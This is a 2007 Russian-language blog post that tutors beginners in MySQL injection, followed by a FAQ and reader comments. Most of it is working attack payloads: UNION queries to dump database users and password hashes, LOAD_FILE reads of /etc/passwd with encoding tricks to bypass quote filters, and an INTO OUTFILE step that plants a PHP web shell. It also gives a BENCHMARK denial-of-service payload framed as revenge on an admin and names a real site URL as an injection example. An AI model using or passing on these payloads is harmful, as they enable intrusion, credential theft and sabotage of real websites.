Новости сайта
Главная страница » 2007 » Январь » 29 » mysql injection

mysql injection
Автор: Sn@k3

Mysql injection

Данная статья растина на чайников, ибо в них сила =), т..е легче понимается когда все понятно написано, сам относительно недавно не понимал, что же такое sql injection, на моей паге есть ещё статья про mssql injection , следовательно это статья про mysql injection....
Приступим....

Че за такое mycql injection:
данная уязвимость или вид атаки, которая позволяет пользователю выполнить некие команды в базе данных, создание файла, ввод/вывод данных ....
Не будем вникать, как обрабатывается сама команда в файле, а только лишь перейдем сразу к практике и что нам для этого требуется...

Для того чтобы осуществить инъекцие, нам требуется, собственно, её найти =), а делается это так:


Код:


http://baga.com/index.php?id=22'

Как вы заметили мы подставили ' - кавычку., если в этом случае на экране появиться воде ошибки: MySQL Error: mysql_query..., то это означает, что бага существует... и нам следуется её реализовать...

Есть ещё один способ определения ошибки(баги, в свою очередь означающую - injection), ведь в файле может быть прописан заветный error_reporting(0)(не выводить ошибки) или preg_replace()....:


Код:


http://baga.com/index.php?id=23-22


Если появляется таже страница, что и в ?id=22, то бага все таки есть..

Применение
Собственно нашли мы багу, че дальше? Нам необходимо определить количество полей на странице, которые используются mysql(column или столбцов, как угодно).


Код:


id=22'+union+select+null/*
id=22'+union+select+null,null/*
id=22'+union+select+null,null,null/*
id=22'+Union+select+null,null,null,null/*


До этого мы видели ошибку, так? да... если после подставновки поочерёдно в месте, где была ошибка будет пусто или появится "нормальна" страница 22, то количество столбцов подобрано правильно... но нам ещё необходимо проверить, в каких столбцах происодит вывод информации на странице, т.е. в подобранных столбцах заменяем все null на цыфры, так же в порядке возростания... id=22'+Union+select+1,2,3,4/*, допустим у нас инфа выводится в столбце номер три.
Необходимо теперь проверить, в каком столбце происходит вывожд информации на странице, т.е. столбца три ставим следующее:


Код:


id=22'+Union+select+1,2,version(),4/*
id=22'+Union+select+1,2,system_user,4/*
id=22'+Union+select+1,2,database(),4/*
id=22'+Union+select+1,2,user(),4/*

Кстати, решился ещё рассказать о переменной order by, которая значительно обгелчает подсчитываение количество столбцов...
?id=-1+order+by+100/*
Если количество столбцов больше или равно 100, то запрос выполняется верно...
//
Тестил эту команду более подробно, но небольшая проблема возникала, команда ошибалась аж на восемь столбцов... странно... но не всегда, на некоторых только на три максимум, а тут так много, но были случаи, когда сразу в точку попадал...
Вот тут ошибся на много столбцов.

http://human-factors.arc.nasa.gov/ihh/web/accomplishments/news/news_item.php?id=-1+union+select+1,2,3,4,5,6,7,8/*

//
Получение пароля:

Это происходит следующим образом... вместо выводящих столбцов подставляем user и password, работает в том случае, когда есть доступ к mysql.user..:


Код:


..id=-1+union+select+1,user,password,4+from+mysql.user/*

Тепер можно попробывать прочитать другие таблицы... но это немного сложнее, так как необходимо знать количество полей(что мы теперь умеем) и имена таблиц, можно попробовать наугад, т..е user,accaunts,admin,admins и так далее:


Код:


...id=22'+union+select+1,name,password,4+from+users/*


А теперь самое интересное =) ну кому как), - прочитать файл на сервере =). вотЪ. Делается это с помощью команыд load_file

Код:


..id=-1+union+select+1,LOAD_FILE('/etc/passwd'),3,4/*


но есть такие печальные моменты, как фильтрация на кавычку ((, поэтому обходим следющим образом, а именно, кодируем слово /etc/passwd в char или 16 систему счисления

char: - char(47,101,116,99,47,112,97,115,115,119,100)
16 bit: - 0x2f6574632f706173737764


соответственно::


..id=-1+union+select+1,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),3,4/*
..id=-1+union+select+1,LOAD_FILE(0x2f6574632f706173737764),3,4/*


Чуть не забыл, бывает, что вывод информации к столбве бывает ограниченным, т.е. пару первых строк, а хочется большего))), то тогда юзаем команду limit:

..id=-1+union+select+1,user,pass,4+from+users+limit+2,3/* , Т.е. выводится три записи, начиная со второй

Теперь мы будем получать shell на сервере, весьма интересно), но нам необходимо знать полный путь до хоста. Когда мы в начале видели ошибку, то порой бывает сразу показывается путь до файла, где происходит сама ошибка, что нам и нужно, например у нас путь /home/baga/public_html/, тогда реализовывать будем так


соответственно::


id=22'+union+select+1,2,3,4'< ? system($_GET[c]); ? >'+from+mysql.user+into+outfile+'/home/baga/public_html/shell.php'/*


И на закусу, бывает нам хочется насолить неприятелю, т.е злостному администратору, да так, шоб у него нах всё зависло, да-да, я говорю про dDos таку, ух как сладка порой месть =):

соответственно::


..id=BENCHMARK(10000000,BENCHMARK(100000 00,md5(curren t_date)))

На этом собственно и всё, я не вдавался уж слишком в подробности, ну тут описано, как реально применить mysql injection без лишних слов...


Sn@k3 ICQ 127924 pre-erp[a]mail.ru

Часто задаваемые вопросы:
Вопрос: 1) Как подбирать количество столбцов?
Ответ: Это происходит подставкой цыфр(1,2,3 =)) null'ями(null), ещё есть такой замечательный запрос, как order by, указываем количество столбцов, если реальное количество превышает заданную цыфру, то он пятится на ошибку, в противном случае всё идёт замечательно... (юзать: -1+order+by+20/*)



Вопрос: 2)При добавление команды load_file ничеге не происходит
Ответ: Это видимо потому, чо она запрещена, т.е. типа access denied -)

Вопрос: 3)Как мне узнать навазние таблицы, не пойму совсем?
Ответ: А оч просто, методом брута, слышал о таком?, -) просто подбираешь, users, accounts, admin, mysql.user(это по дефолту), reg_user и т.д., зависит от того что установлено...
самые популярные в admin_web
tID
username
all_access
alumni
calendar
cilps
events
exam_archive
faculty_bios
faculty_news
faculty_workshops
faculty_rotation
faculty_digest
osjcl
elam
psf
registrar


Вопрос: 4) если появилась надпись "SELECT.. denied...", это значит нет прав?
Ответ: В самую точку))) это значит, что ты нашел правильную таблицу, но нет прав на её вывод... юзай вывод файлов с серванта...

Вопрос: 5)Вот беда, я прально нашел таблицу, есть права и я уверен, что там стоит админка, знаю название столбца, но не выводит, пугая меня чем-то..., что делать?
Ответ: Бывают такие ситуации, когда необходимо просто поставить кодировку на вывод...:
convert(password+using+cp1251), выводит столбце с пассфорд, меня кодировку..., можно юзать не только cp1251
concat(user,0x3a,password) думаю ненадо объяснять... 0x3a -это в 16 битной кодировке ":"
concat(user,char(58),password) тоже самое, но ":" в кодировке char

Вопрос: 6) Вот такая беда, мне чень хочеца насолить одному админу, он уже всех моих друзей забанил, есть скуль на его паге, но ненаю как мне бы насолить, прав на вывод инфы нет, файлы не выводит, да и акки врятли реально было спереть, че делать?
Ответ: На ум приходит только dDos =) BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date)))
Вот эту шнягу ставим в бажный скрипт -) думаю тачка врятли оклимается))) ну если у него не супер компьютер)
Просмотров: 8729 | Добавил: dozzer | Рейтинг: 4.8 |
Комментарии
Всего комментариев: 151 2 »
15 Это невероятно, правда  
0
Дорогие друзья, я здесь новенькая, мне понравилось то что вы обсуждаете, действительно очень интересные темы.
Хочется вас порадовать, я совсем недавно наткнулась на классную косметику, по хорошей цене и по качеству не уступает ведущим лидерам косметики.

Я знаю что вам это пригодится, сама пользуюсь. Самый удобный каталог я нашла только здесь, больше нигде такого ассортимента нету: http://tiande24.ru - Тианде

14 aftentova  
0
Wassup guys?

13 dozzer  
0
ну и зря)

12 Cthulchu  
0
хех! Снаке! а я тут кое-что гуглил, прочел статейку и только заметил, что это блог нашего Снаке:)) Сеть круглая :)

11 санёчег_в_аську_371665684  
0
Простите пожалуйста, но высказывание " сайтов без дыр небывает" врядли применимо для этогог сайта (админ СуперЗащищённый)

если кто умеет помогите найти дЫру http://wow.telesweet.net/index.php


10 dozzer  
0
а незачто =)

9 Sn@k3  
0
[quote=OP]можешь объяснить что эти слова значат?[/quote]
ну это значит, что компьютер будет в состоянии дДоса, т.е. что-то вроде переполнения ббуфера, ну это когда, судя по коду, выполняет много операция одновременно и могут возниткнуть неполядки в mysql, что приведет к неккоректной работе всего сайта и т.д.

[quote=Pavel]xoroshaya stat'ya!
Respect Avtoru[/quote]
Огромное спасибо)


8 Pavel  
0
xoroshaya stat'ya!
Respect Avtoru

7 Op  
0
id=BENCHMARK(10000000,BENCHMARK(100000 00,md5(curren t_date)))

Вот эту шнягу ставим в бажный скрипт -) думаю тачка врятли оклимается))) ну если у него не супер компьютер) - можешь объяснить что эти слова значат?


6 dozzer  
0
бывает)))) много не пей)

1-10 11-15
Имя *:
Email *:
Код *: